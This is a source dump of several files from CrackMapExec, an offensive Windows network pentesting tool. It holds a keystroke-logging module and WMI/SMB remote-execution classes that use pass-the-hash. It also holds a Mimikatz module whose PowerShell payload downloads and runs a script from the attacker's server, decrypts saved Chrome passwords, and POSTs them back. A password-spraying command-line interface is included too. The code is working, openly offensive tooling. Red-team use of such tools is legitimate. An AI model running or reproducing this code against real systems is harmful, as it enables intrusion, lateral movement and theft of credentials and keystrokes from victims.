79 | file_path = '/Users/{}/AppData/Local/Temp/{}'.format(user.wkui1_username, self.file_name)
80 | try:
81 | connection.conn.getFile('C$', file_path, key_file.write)
82 | context.log.success('Got keys! Stored in {}'.format(keys_log))
83 | except Exception as e:
84 | context.log.debug('Error retrieving key file contents from {}: {}'.format(file_path, e))
85 |
86 | sleep(self.poll)
87 | except KeyboardInterrupt:
88 | pass
89 |
90 | def on_request(self, context, request):
91 | if 'Invoke-PSInject.ps1' == request.path[1:]:
92 | request.send_response(200)
93 | request.end_headers()
94 |
95 | request.wfile.write(self.ps_script1)
96 |
97 | elif 'Get-Keystrokes.ps1' == request.path[1:]:
98 | request.send_response(200)
99 | request.end_headers()
100 |
101 | # We received the callback, so lets setup the folder to store the keys
102 | keys_folder_path = os.path.join(context.log_folder_path, 'get_keystrokes_{}'.format(request.client_address[0]))
103 | if not os.path.exists(keys_folder_path): os.mkdir(keys_folder_path)
104 |
105 | request.wfile.write(self.ps_script2)
106 | request.stop_tracking_host()
107 |
108 | else:
109 | request.send_response(404)
110 | request.end_headers()
111 |
112 | def on_shutdown(self, context, connection):
113 | if self.stream:
114 | self.smb_server.shutdown()
115 |
--------------------------------------------------------------------------------
/cme/protocols/smb/wmiexec.py:
--------------------------------------------------------------------------------
1 | import ntpath, logging
2 | import os
3 |
4 | from gevent import sleep
5 | from cme.helpers.misc import gen_random_string
6 | from impacket.dcerpc.v5.dcomrt import DCOMConnection
7 | from impacket.dcerpc.v5.dcom import wmi
8 | from impacket.dcerpc.v5.dtypes import NULL
9 |
10 | class WMIEXEC:
11 | def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None):
12 | self.__target = target
13 | self.__username = username
14 | self.__password = password
15 | self.__domain = domain
16 | self.__lmhash = ''
17 | self.__nthash = ''
18 | self.__share = share
19 | self.__smbconnection = smbconnection
20 | self.__output = None
21 | self.__outputBuffer = ''
22 | self.__share_name = share_name
23 | self.__shell = 'cmd.exe /Q /c '
24 | self.__pwd = 'C:\\'
25 | self.__aesKey = None
26 | self.__doKerberos = False
27 | self.__retOutput = True
28 |
29 | if hashes is not None:
30 | #This checks to see if we didn't provide the LM Hash
31 | if hashes.find(':') != -1:
32 | self.__lmhash, self.__nthash = hashes.split(':')
33 | else:
34 | self.__nthash = hashes
35 |
36 | if self.__password is None:
37 | self.__password = ''
38 |
39 | self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
40 | iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
41 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
42 | iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
43 | iWbemLevel1Login.RemRelease()
44 |
45 | self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
46 |
47 | def execute(self, command, output=False):
48 | self.__retOutput = output
49 | if self.__retOutput:
50 | self.__smbconnection.setTimeout(100000)
51 |
52 | self.execute_handler(command)
53 | self.__dcom.disconnect()
54 | return self.__outputBuffer
55 |
56 | def cd(self, s):
57 | self.execute_remote('cd ' + s)
58 | if len(self.__outputBuffer.strip('\r\n')) > 0:
59 | print self.__outputBuffer
60 | self.__outputBuffer = ''
61 | else:
62 | self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
63 | self.execute_remote('cd ')
64 | self.__pwd = self.__outputBuffer.strip('\r\n')
65 | self.__outputBuffer = ''
66 |
67 | def output_callback(self, data):
68 | self.__outputBuffer += data
69 |
70 | def execute_handler(self, data):
71 | if self.__retOutput:
72 | try:
73 | self.execute_fileless(data)
74 | except:
75 | self.cd('\\')
76 | self.execute_remote(data)
77 | else:
78 | self.execute_remote(data)
79 |
80 | def execute_remote(self, data):
81 | self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
82 |
83 | command = self.__shell + data
84 | if self.__retOutput:
85 | command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
86 |
87 | logging.debug('Executing command: ' + command)
88 | self.__win32Process.Create(command, self.__pwd, None)
89 | self.get_output_remote()
90 |
91 | def execute_fileless(self, data):
92 | self.__output = gen_random_string(6)
93 | local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
94 |
95 | command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
96 |
97 | logging.debug('Executing command: ' + command)
98 | self.__win32Process.Create(command, self.__pwd, None)
99 | self.get_output_fileless()
100 |
101 | def get_output_fileless(self):
102 | while True:
103 | try:
104 | with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
105 | self.output_callback(output.read())
106 | break
107 | except IOError:
108 | sleep(2)
109 |
110 | def get_output_remote(self):
111 | if self.__retOutput is False:
112 | self.__outputBuffer = ''
113 | return
114 |
115 | while True:
116 | try:
117 | self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
118 | break
119 | except Exception as e:
120 | if str(e).find('STATUS_SHARING_VIOLATION') >=0:
121 | # Output not finished, let's wait
122 | sleep(2)
123 | pass
124 | else:
125 | #print str(e)
126 | pass
127 |
128 | self.__smbconnection.deleteFile(self.__share, self.__output)
129 |
--------------------------------------------------------------------------------
/cme/cli.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import sys
3 | from argparse import RawTextHelpFormatter
4 | from cme.loaders.protocol_loader import protocol_loader
5 | from cme.helpers.logger import highlight
6 |
7 | def gen_cli_args():
8 |
9 | VERSION = '4.0.1dev'
10 | CODENAME = 'Bug Pr0n'
11 |
12 | p_loader = protocol_loader()
13 | protocols = p_loader.get_protocols()
14 |
15 | parser = argparse.ArgumentParser(description="""
16 | ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
17 | / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
18 | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
19 | | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
20 | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
21 | \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
22 |
23 | A swiss army knife for pentesting networks
24 | Forged by @byt3bl33d3r using the powah of dank memes
25 |
26 | {}: {}
27 | {}: {}
28 | """.format(highlight('Version', 'red'),
29 | highlight(VERSION),
30 | highlight('Codename', 'red'),
31 | highlight(CODENAME)),
32 |
33 | formatter_class=RawTextHelpFormatter,
34 | version='{} - {}'.format(VERSION, CODENAME),
35 | epilog="Ya feelin' a bit buggy all of a sudden?")
36 |
37 | parser.add_argument("-t", type=int, dest="threads", default=100, help="set how many concurrent threads to use (default: 100)")
38 | parser.add_argument("--timeout", default=None, type=int, help='max timeout in seconds of each thread (default: None)')
39 | parser.add_argument("--jitter", metavar='INTERVAL', type=str, help='sets a random delay between each connection (default: None)')
40 | parser.add_argument("--darrell", action='store_true', help='give Darrell a hand')
41 | parser.add_argument("--verbose", action='store_true', help="enable verbose output")
42 |
43 | subparsers = parser.add_subparsers(title='protocols', dest='protocol', description='available protocols')
44 |
45 | std_parser = argparse.ArgumentParser(add_help=False)
46 | std_parser.add_argument("target", nargs='*', type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
47 | std_parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='database credential ID(s) to use for authentication')
48 | std_parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="username(s) or file(s) containing usernames")
49 | std_parser.add_argument("-p", metavar="PASSWORD", dest='password', nargs='+', default=[], help="password(s) or file(s) containing passwords")
50 | fail_group = std_parser.add_mutually_exclusive_group()
51 | fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='max number of global failed login attempts')
52 | fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per username')
53 | fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='max number of failed login attempts per host')
54 |
55 | module_parser = argparse.ArgumentParser(add_help=False)
56 | mgroup = module_parser.add_mutually_exclusive_group()
57 | mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use')
58 | #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
59 | module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
60 | module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
61 | module_parser.add_argument('--options', dest='show_module_options', action='store_true', help='display module options')
62 | module_parser.add_argument("--server", choices={'http', 'https'}, default='https', help='use the selected server (default: https)')
63 | module_parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)')
64 | module_parser.add_argument("--server-port", metavar='PORT', type=int, help='start the server on the specified port')
65 |
66 | for protocol in protocols.keys():
67 | protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
68 | subparsers = getattr(protocol_object, protocol).proto_args(subparsers, std_parser, module_parser)
69 |
70 | if len(sys.argv) == 1:
71 | parser.print_help()
72 | sys.exit(1)
73 |
74 | args = parser.parse_args()
75 |
76 | return args
77 |
--------------------------------------------------------------------------------
/cme/modules/mimikatz_enum_chrome.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.logger import write_log
3 | from datetime import datetime
4 | from StringIO import StringIO
5 |
6 | class CMEModule:
7 | '''
8 | Executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) to decrypt saved Chrome passwords
9 | Pros and cons vs the standard enum_chrome module:
10 | + Opsec safe, doesn't touch disk
11 | - Tends to error out and/or not decrypt all stored credentials (not sure why exactly, should work perfectly in theory)
12 |
13 | Module by @byt3bl33d3r
14 | '''
15 |
16 | name = 'mimikatz_enum_chrome'
17 | description = "Decrypts saved Chrome passwords using Mimikatz"
18 | opsec_safe = True
19 | multiple_hosts = True
20 | supported_protocols = ['smb', 'mssql']
21 |
22 | def options(self, context, module_options):
23 | '''
24 | '''
25 |
26 | self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1')
27 |
28 | def on_admin_login(self, context, connection):
29 |
30 | '''
31 | Oook.. Think my heads going to explode
32 |
33 | So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces.
34 | Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary.
35 |
36 | As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt
37 | the entries with Mimikatz, not ideal but it works.
38 | '''
39 |
40 | payload = '''
41 | $cmd = "privilege::debug sekurlsa::dpapi"
42 | $userdirs = get-childitem "$Env:SystemDrive\Users"
43 | foreach ($dir in $userdirs) {{
44 | $LoginDataPath = "$Env:SystemDrive\Users\$dir\AppData\Local\Google\Chrome\User Data\Default\Login Data"
45 |
46 | if ([System.IO.File]::Exists($LoginDataPath)) {{
47 | $rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {{[char]$_}})
48 | $temp_path = "$Env:windir\Temp\$rand_name"
49 | Copy-Item $LoginDataPath $temp_path
50 | $cmd = $cmd + " `"dpapi::chrome /in:$temp_path`""
51 | }}
52 |
53 | }}
54 | $cmd = $cmd + " exit"
55 |
56 | IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
57 | $creds = Invoke-Mimikatz -Command $cmd;
58 | $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
59 | $request.Method = 'POST';
60 | $request.ContentType = 'application/x-www-form-urlencoded';
61 | $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
62 | $request.ContentLength = $bytes.Length;
63 | $requestStream = $request.GetRequestStream();
64 | $requestStream.Write( $bytes, 0, $bytes.Length );
65 | $requestStream.Close();
66 | $request.GetResponse();'''.format(server=context.server,
67 | port=context.server_port,
68 | addr=context.localip)
69 |
70 | connection.ps_execute(payload)
71 | context.log.success('Executed payload')
72 |
73 | def on_request(self, context, request):
74 | if 'Invoke-Mimikatz.ps1' == request.path[1:]:
75 | request.send_response(200)
76 | request.end_headers()
77 |
78 | request.wfile.write(self.ps_script)
79 |
80 | else:
81 | request.send_response(404)
82 | request.end_headers()
83 |
84 | def on_response(self, context, response):
85 | response.send_response(200)
86 | response.end_headers()
87 | length = int(response.headers.getheader('content-length'))
88 | data = response.rfile.read(length)
89 |
90 | #We've received the response, stop tracking this host
91 | response.stop_tracking_host()
92 |
93 | if len(data):
94 | buf = StringIO(data).readlines()
95 | creds = []
96 |
97 | try:
98 | i = 0
99 | while i < len(buf):
100 | if ('URL' in buf[i]):
101 | url = buf[i].split(':', 1)[1].strip()
102 | user = buf[i+1].split(':', 1)[1].strip()
103 | passw = buf[i+3].split(':', 1)[1].strip()
104 |
105 | creds.append({'url': url, 'user': user, 'passw': passw})
106 |
107 | i += 1
108 | except:
109 | context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials')
110 |
111 | if creds:
112 | context.log.success('Found saved Chrome credentials:')
113 | for cred in creds:
114 | if cred['user'] and cred['passw']:
115 | context.log.highlight('URL: ' + cred['url'])
116 | context.log.highlight('Username: ' + cred['user'])
117 | context.log.highlight('Password: ' + cred['passw'])
118 | context.log.highlight('')
119 |
120 | log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
121 | write_log(data, log_name)
122 | context.log.info("Saved Mimikatz's output to {}".format(log_name))
--------------------------------------------------------------------------------
/cme/protocols/smb/smbexec.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import os
3 | from gevent import sleep
4 | from impacket.dcerpc.v5 import transport, scmr
5 | from impacket.smbconnection import *
6 | from cme.helpers.misc import gen_random_string
7 |
8 | class SMBEXEC:
9 |
10 | def __init__(self, host, share_name, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445):
11 | self.__host = host
12 | self.__share_name = share_name
13 | self.__port = port
14 | self.__username = username
15 | self.__password = password
16 | self.__serviceName = gen_random_string()
17 | self.__domain = domain
18 | self.__lmhash = ''
19 | self.__nthash = ''
20 | self.__share = share
21 | self.__output = None
22 | self.__batchFile = None
23 | self.__outputBuffer = ''
24 | self.__shell = '%COMSPEC% /Q /c '
25 | self.__retOutput = False
26 | self.__rpctransport = None
27 | self.__scmr = None
28 | self.__conn = None
29 | #self.__mode = mode
30 | #self.__aesKey = aesKey
31 | #self.__doKerberos = doKerberos
32 |
33 | if hashes is not None:
34 | #This checks to see if we didn't provide the LM Hash
35 | if hashes.find(':') != -1:
36 | self.__lmhash, self.__nthash = hashes.split(':')
37 | else:
38 | self.__nthash = hashes
39 |
40 | if self.__password is None:
41 | self.__password = ''
42 |
43 | stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host
44 | logging.debug('StringBinding %s'%stringbinding)
45 | self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
46 | self.__rpctransport.set_dport(self.__port)
47 |
48 | if hasattr(self.__rpctransport, 'setRemoteHost'):
49 | self.__rpctransport.setRemoteHost(self.__host)
50 | if hasattr(self.__rpctransport, 'set_credentials'):
51 | # This method exists only for selected protocol sequences.
52 | self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
53 | #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
54 |
55 | self.__scmr = self.__rpctransport.get_dce_rpc()
56 | self.__scmr.connect()
57 | s = self.__rpctransport.get_smb_connection()
58 | # We don't wanna deal with timeouts from now on.
59 | s.setTimeout(100000)
60 |
61 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
62 | resp = scmr.hROpenSCManagerW(self.__scmr)
63 | self.__scHandle = resp['lpScHandle']
64 |
65 | def execute(self, command, output=False):
66 | self.__retOutput = output
67 | self.execute_fileless(command)
68 | self.finish()
69 | return self.__outputBuffer
70 |
71 | def output_callback(self, data):
72 | self.__outputBuffer += data
73 |
74 | def execute_fileless(self, data):
75 | self.__output = gen_random_string(6)
76 | self.__batchFile = gen_random_string(6) + '.bat'
77 | local_ip = self.__rpctransport.get_socket().getsockname()[0]
78 |
79 | if self.__retOutput:
80 | command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
81 | else:
82 | command = self.__shell + data
83 |
84 | with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
85 | batch_file.write(command)
86 |
87 | logging.debug('Hosting batch file with command: ' + command)
88 |
89 | command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
90 | logging.debug('Command to execute: ' + command)
91 |
92 | logging.debug('Remote service {} created.'.format(self.__serviceName))
93 | resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
94 | service = resp['lpServiceHandle']
95 |
96 | try:
97 | logging.debug('Remote service {} started.'.format(self.__serviceName))
98 | scmr.hRStartServiceW(self.__scmr, service)
99 | except:
100 | pass
101 | logging.debug('Remote service {} deleted.'.format(self.__serviceName))
102 | scmr.hRDeleteService(self.__scmr, service)
103 | scmr.hRCloseServiceHandle(self.__scmr, service)
104 | self.get_output_fileless()
105 |
106 | def get_output_fileless(self):
107 | if not self.__retOutput: return
108 |
109 | while True:
110 | try:
111 | with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
112 | self.output_callback(output.read())
113 | break
114 | except IOError:
115 | sleep(2)
116 |
117 | def finish(self):
118 | # Just in case the service is still created
119 | try:
120 | self.__scmr = self.__rpctransport.get_dce_rpc()
121 | self.__scmr.connect()
122 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
123 | resp = scmr.hROpenSCManagerW(self.__scmr)
124 | self.__scHandle = resp['lpScHandle']
125 | resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
126 | service = resp['lpServiceHandle']
127 | scmr.hRDeleteService(self.__scmr, service)
128 | scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
129 | scmr.hRCloseServiceHandle(self.__scmr, service)
130 | except:
131 | pass
132 |
--------------------------------------------------------------------------------
/cme/logger.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import sys
3 | import re
4 | from cme.helpers.misc import called_from_cmd_args
5 | from termcolor import colored
6 | from datetime import datetime
7 |
8 | #The following hooks the FileHandler.emit function to remove ansi chars before logging to a file
9 | #There must be a better way of doing this, but this way we might save some penguins!
10 |
11 | ansi_escape = re.compile(r'\x1b[^m]*m')
12 |
13 | def antiansi_emit(self, record):
14 |
15 | if self.stream is None:
16 | self.stream = self._open()
17 |
18 | record.msg = ansi_escape.sub('', record.message)
19 | logging.StreamHandler.emit(self, record)
20 |
21 | logging.FileHandler.emit = antiansi_emit
22 |
23 | ####################################################################
24 |
25 | class CMEAdapter(logging.LoggerAdapter):
26 |
27 | # For Impacket's TDS library
28 | message = ''
29 |
30 | def __init__(self, logger_name='CME', extra=None):
31 | self.logger = logging.getLogger(logger_name)
32 | self.extra = extra
33 |
34 | def process(self, msg, kwargs):
35 | if self.extra is None:
36 | return u'{}'.format(msg), kwargs
37 |
38 | if 'module' in self.extra.keys():
39 | if len(self.extra['module']) > 8:
40 | self.extra['module'] = self.extra['module'][:8] + '...'
41 |
42 | #If the logger is being called when hooking the 'options' module function
43 | if len(self.extra) == 1 and ('module' in self.extra.keys()):
44 | return u'{:<64} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), msg), kwargs
45 |
46 | #If the logger is being called from CMEServer
47 | if len(self.extra) == 2 and ('module' in self.extra.keys()) and ('host' in self.extra.keys()):
48 | return u'{:<24} {:<39} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), self.extra['host'], msg), kwargs
49 |
50 | #If the logger is being called from a protocol
51 | if 'module' in self.extra.keys():
52 | module_name = colored(self.extra['module'], 'cyan', attrs=['bold'])
53 | else:
54 | module_name = colored(self.extra['protocol'], 'blue', attrs=['bold'])
55 |
56 | return u'{:<24} {:<15} {:<6} {:<16} {}'.format(module_name,
57 | self.extra['host'],
58 | self.extra['port'],
59 | self.extra['hostname'].decode('utf-8') if self.extra['hostname'] else 'NONE',
60 | msg), kwargs
61 |
62 | def info(self, msg, *args, **kwargs):
63 | try:
64 | if 'protocol' in self.extra.keys() and not called_from_cmd_args():
65 | return
66 | except AttributeError:
67 | pass
68 |
69 | msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs)
70 | self.logger.info(msg, *args, **kwargs)
71 |
72 | def error(self, msg, *args, **kwargs):
73 | msg, kwargs = self.process(u'{} {}'.format(colored("[-]", 'red', attrs=['bold']), msg), kwargs)
74 | self.logger.error(msg, *args, **kwargs)
75 |
76 | def debug(self, msg, *args, **kwargs):
77 | pass
78 |
79 | def success(self, msg, *args, **kwargs):
80 | try:
81 | if 'protocol' in self.extra.keys() and not called_from_cmd_args():
82 | return
83 | except AttributeError:
84 | pass
85 |
86 | msg, kwargs = self.process(u'{} {}'.format(colored("[+]", 'green', attrs=['bold']), msg), kwargs)
87 | self.logger.info(msg, *args, **kwargs)
88 |
89 | def highlight(self, msg, *args, **kwargs):
90 | try:
91 | if 'protocol' in self.extra.keys() and not called_from_cmd_args():
92 | return
93 | except AttributeError:
94 | pass
95 |
96 | msg, kwargs = self.process(u'{}'.format(colored(msg, 'yellow', attrs=['bold'])), kwargs)
97 | self.logger.info(msg, *args, **kwargs)
98 |
99 | # For Impacket's TDS library
100 | def logMessage(self,message):
101 | CMEAdapter.message += message.strip().replace('NULL', '') + '\n'
102 |
103 | def getMessage(self):
104 | out = CMEAdapter.message
105 | CMEAdapter.message = ''
106 | return out
107 |
108 | def setup_debug_logger():
109 | debug_output_string = "{} %(message)s".format(colored('DEBUG', 'magenta', attrs=['bold']))
110 | formatter = logging.Formatter(debug_output_string)
111 | streamHandler = logging.StreamHandler(sys.stdout)
112 | streamHandler.setFormatter(formatter)
113 |
114 | root_logger = logging.getLogger()
115 | root_logger.propagate = False
116 | root_logger.addHandler(streamHandler)
117 | #root_logger.addHandler(fileHandler)
118 | root_logger.setLevel(logging.DEBUG)
119 | return root_logger
120 |
121 | def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_name='CME'):
122 |
123 | formatter = logging.Formatter("%(message)s")
124 |
125 | if log_to_file:
126 | if not log_prefix:
127 | log_prefix = 'log'
128 |
129 | log_filename = '{}_{}.log'.format(log_prefix.replace('/', '_'), datetime.now().strftime('%Y-%m-%d'))
130 | fileHandler = logging.FileHandler('./logs/{}'.format(log_filename))
131 | fileHandler.setFormatter(formatter)
132 |
133 | streamHandler = logging.StreamHandler(sys.stdout)
134 | streamHandler.setFormatter(formatter)
135 |
136 | cme_logger = logging.getLogger(logger_name)
137 | cme_logger.propagate = False
138 | cme_logger.addHandler(streamHandler)
139 |
140 | if log_to_file:
141 | cme_logger.addHandler(fileHandler)
142 |
143 | cme_logger.setLevel(level)
144 |
145 | return cme_logger
146 |
--------------------------------------------------------------------------------
/cme/protocols/http.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import os
3 | from gevent.pool import Pool
4 | from gevent.socket import gethostbyname
5 | from urlparse import urlparse
6 | from datetime import datetime
7 | from cme.helpers.logger import highlight
8 | from cme.logger import CMEAdapter
9 | from cme.connection import *
10 | from cme.helpers.http import *
11 | from requests import ConnectionError, ConnectTimeout, ReadTimeout
12 | from requests.packages.urllib3.exceptions import InsecureRequestWarning
13 | from splinter import Browser
14 | from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
15 |
16 | # The following disables the warning on an invalid cert and allows any SSL/TLS cipher to be used
17 | # I'm basically guessing this is the way to specify to allow all ciphers since I can't find any docs about it, if it don't worky holla at me
18 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':ANY:ALL'
19 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
20 |
21 | class http(connection):
22 |
23 | def __init__(self, args, db, host):
24 | self.args = args
25 | self.db = db
26 | self.hostname = host
27 | self.url = None
28 | self.transport = None
29 | self.port = None
30 |
31 | if self.hostname.startswith('http://') or self.hostname.startswith('https://'):
32 | port_dict = {'http': 80, 'https': 443}
33 | self.url = self.hostname
34 |
35 | self.transport, netloc,_,_,_,_ = urlparse(self.url)
36 | self.port = port_dict[self.transport]
37 |
38 | self.hostname = netloc
39 | if ':' in netloc:
40 | self.hostname, self.port = netloc.split(':')
41 |
42 | try:
43 | self.host = gethostbyname(self.hostname)
44 | except Exception as e:
45 | logging.debug('Error resolving hostname {}: {}'.format(self.hostname, e))
46 | return
47 |
48 | self.proto_flow()
49 |
50 | @staticmethod
51 | def proto_args(parser, std_parser, module_parser):
52 | http_parser = parser.add_parser('http', help="own stuff using HTTP", parents=[std_parser, module_parser])
53 | http_parser.add_argument('--port', nargs='*', default=[80, 443, 8443, 8008, 8080, 8081], help='http ports to connect to (default: 80, 443, 8443, 8008, 8080, 8081)')
54 | http_parser.add_argument('--transports', choices=['http', 'https'], default=['http', 'https'], help='force connection over http or https (default: all)')
55 | http_parser.add_argument('--screenshot', action='store_true', help='take a screenshot of the loaded webpage')
56 |
57 | return parser
58 |
59 | def proto_flow(self):
60 | if self.url:
61 | single_connection(self, self.transport, self.port)
62 | else:
63 | pool = Pool(len(self.args.transports) * len(self.args.port))
64 | jobs = []
65 | for transport in self.args.transports:
66 | for port in self.args.port:
67 | jobs.append(pool.spawn(single_connection, self, transport, port))
68 |
69 | for job in jobs:
70 | job.join()
71 |
72 | class single_connection(connection):
73 |
74 | def __init__(self, http, transport, port):
75 | self.http = http
76 | self.db = http.db
77 | self.host = http.host
78 | self.url = http.url
79 | self.args = http.args
80 | self.port = port
81 | self.transport = transport
82 | self.hostname = http.hostname
83 | self.server_headers = None
84 | self.conn = None
85 |
86 | self.proto_flow()
87 |
88 | def proto_logger(self):
89 | self.logger = CMEAdapter(extra={'protocol': 'HTTP',
90 | 'host': self.host,
91 | 'port': self.port,
92 | 'hostname': self.hostname})
93 |
94 | def print_host_info(self):
95 | self.logger.info('{} (Server: {}) (Page Title: {})'.format(self.conn.url,
96 | self.server_headers['Server'] if 'Server' in self.server_headers.keys() else None,
97 | self.conn.title.strip() if self.conn.title else None))
98 |
99 | def create_conn_obj(self):
100 | user_agent = get_desktop_uagent()
101 | if self.url:
102 | url = self.url
103 | else:
104 | url = '{}://{}:{}/'.format(self.transport, self.hostname, self.port)
105 |
106 | try:
107 | r = requests.get(url, timeout=10, headers={'User-Agent': user_agent})
108 | self.server_headers = r.headers
109 | except ConnectTimeout, ReadTimeout:
110 | return False
111 | except Exception as e:
112 | if str(e).find('Read timed out') == -1:
113 | logging.debug('Error connecting to {}://{}:{} :{}'.format(self.transport, self.hostname, self.port, e))
114 | return False
115 |
116 | self.db.add_host(self.host, self.hostname, self.port)
117 |
118 | capabilities = DesiredCapabilities.PHANTOMJS
119 | capabilities['phantomjs.page.settings.userAgent'] = user_agent
120 | #capabilities['phantomjs.page.settings.resourceTimeout'] = 10 * 1000
121 | capabilities['phantomjs.page.settings.userName'] = 'none'
122 | capabilities['phantomjs.page.settings.password'] = 'none'
123 |
124 | self.conn = Browser('phantomjs', service_args=['--ignore-ssl-errors=true', '--web-security=no', '--ssl-protocol=any'],
125 | service_log_path=os.path.expanduser('~/.cme/logs/ghostdriver.log'), desired_capabilities=capabilities)
126 |
127 | self.conn.driver.set_window_size(1200, 675)
128 | self.conn.visit(url)
129 | return True
130 |
131 | def screenshot(self):
132 | screen_output = os.path.join(os.path.expanduser('~/.cme/logs/'), '{}:{}_{}'.format(self.hostname, self.port, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
133 | self.conn.screenshot(name=screen_output)
134 | self.logger.success('Screenshot stored at {}.png'.format(screen_output))
135 |
--------------------------------------------------------------------------------
/cme/modules/bloodhound.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from cme.helpers.misc import validate_ntlm
3 | from cme.helpers.logger import write_log
4 | from sys import exit
5 |
6 | class CMEModule:
7 | '''
8 | Executes the BloodHound recon script on the target and retreives the results onto the attackers' machine
9 | 2 supported modes :
10 | CSV : exports data into CSVs on the target file system before retreiving them (NOT opsec safe)
11 | Neo4j API : exports data directly to the Neo4j API (opsec safe)
12 |
13 | Module by Waffle-Wrath
14 | Bloodhound.ps1 script base : https://github.com/BloodHoundAD/BloodHound
15 | '''
16 |
17 | name = 'bloodhound'
18 | description = 'Executes the BloodHound recon script on the target and retreives the results to the attackers\' machine'
19 | supported_protocols = ['smb']
20 | opsec_safe= False
21 | multiple_hosts = False
22 |
23 | def options(self, context, module_options):
24 | '''
25 | THREADS Max numbers of threads to execute on target (defaults to 20)
26 | COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default')
27 | CSVPATH (optional) Path where csv files will be written on target (defaults to C:\)
28 | NEO4JURI (optional) URI for direct Neo4j ingestion (defaults to blank)
29 | NEO4JUSER (optional) Username for direct Neo4j ingestion
30 | NEO4JPASS (optional) Pass for direct Neo4j ingestion
31 |
32 | Give NEO4J options to perform direct Neo4j ingestion (no CSVs on target)
33 | '''
34 |
35 | self.threads = 3
36 | self.csv_path = 'C:\\'
